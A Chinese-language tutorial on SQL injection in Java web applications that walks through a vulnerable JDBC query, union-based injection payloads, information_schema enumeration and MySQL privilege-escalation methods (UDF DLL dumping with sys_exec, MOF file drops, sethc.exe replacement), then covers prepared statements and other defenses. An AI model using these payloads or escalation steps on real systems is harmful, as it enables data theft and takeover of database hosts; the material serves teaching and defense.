攻击JavaWeb应用[3]-SQL注入[1]
字数 996 2025-08-29 08:31:42
Java Web应用SQL注入攻击与防御详解
0x00 JDBC和ORM基础概念
核心组件
- JDBC:Java数据库连接API,为多种关系数据库提供统一访问
- JPA:Java持久化API,通过注解或XML描述对象-关系表映射
- ORM:对象关系映射实现,包括:
- Hibernate
- MyBatis
- OpenJPA
- TopLink
- EclipseJPA
数据库类型
- 关系型数据库:MySQL、Oracle、SQL Server等
- 非关系型数据库(NoSQL):
- MongoDB(端口27017/28017)
- CouchDB(5984)
- HBase(9000)
- Cassandra(9160)
- Neo4j(7474)
- Riak(8098)
0x01 JDBC中的SQL注入
典型注入示例
String sql = "SELECT * from corps where id = "+id; // 直接拼接SQL导致注入
注入测试案例
- 正常查询:
id=2 - 布尔测试:
id=2 and 1=1(返回结果)id=2 and 1=2(无结果)
- 字段数探测:
order by 4(成功) vsorder by 5(失败) - 联合查询:
2 and 1=2 union select version(),user(),database(),5
防御方案:预编译
String sql = "SELECT * from corps where id = ?";
PreparedStatement pstt = conn.prepareStatement(sql);
pstt.setObject(1, id);
0x02 Web平台SQL注入实战
MySQL信息收集技术
-
information_schema利用:
-- 查找包含user关键字的表 SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME LIKE '%user%' AND TABLE_SCHEMA = database(); -- 查找包含user关键字的列 SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE COLUMN_NAME LIKE '%user%'; -
数据导出技术:
- 使用
CONCAT和GROUP_CONCAT显示数据 - 使用
INTO OUTFILE导出数据:SELECT * FROM corps INTO OUTFILE '/path/to/file.txt'
- 使用
MySQL提权技术
-
写启动项:
SELECT 0x6E6574... INTO OUTFILE 'C:/启动目录/1.bat' -
UDF提权:
- 查找插件目录:
SELECT @@plugin_dir - 导出DLL:
SELECT CONVERT(0x4D5A..., BINARY) INTO DUMPFILE '/plugin_dir/udf.dll' - 创建函数(需命令行执行):
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll'
- 查找插件目录:
-
MOF提权:
SELECT CHAR(...) INTO DUMPFILE 'c:/windows/system32/wbem/mof/nullevts.mof' -
sethc替换:
CREATE TABLE mix_cmd(cmd LONGBLOB); INSERT INTO mix_cmd VALUES(LOAD_FILE('c:/windows/system32/cmd.exe')); SELECT * FROM mix_cmd INTO DUMPFILE 'c:/windows/system32/sethc.exe';
0x03 防御最佳实践
安全编码
-
始终使用预编译:
String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, username); -
输入验证:
// 对于数字型参数 int id = Integer.parseInt(request.getParameter("id")); -
安全查询构建:
// 使用条件构建器安全拼接SQL StringBuilder sql = new StringBuilder("SELECT * FROM table WHERE 1=1"); List<Object> params = new ArrayList<>(); if(condition) { sql.append(" AND column = ?"); params.add(value); }
防御进阶
- 最小权限原则:数据库账户仅授予必要权限
- 错误处理:避免显示详细错误信息
- WAF部署:作为纵深防御的一部分
- ORM安全使用:即使使用Hibernate/MyBatis也要注意避免原生SQL拼接
附录:常见易受攻击点
- 文章/分类展示页面
- 用户注册/登录处
- 搜索功能
- 数据统计/报表
- 下拉选择框
- 密码找回功能
- 复杂业务逻辑处
通过深入理解这些攻击技术和防御措施,开发者可以构建更安全的Java Web应用,有效防范SQL注入风险。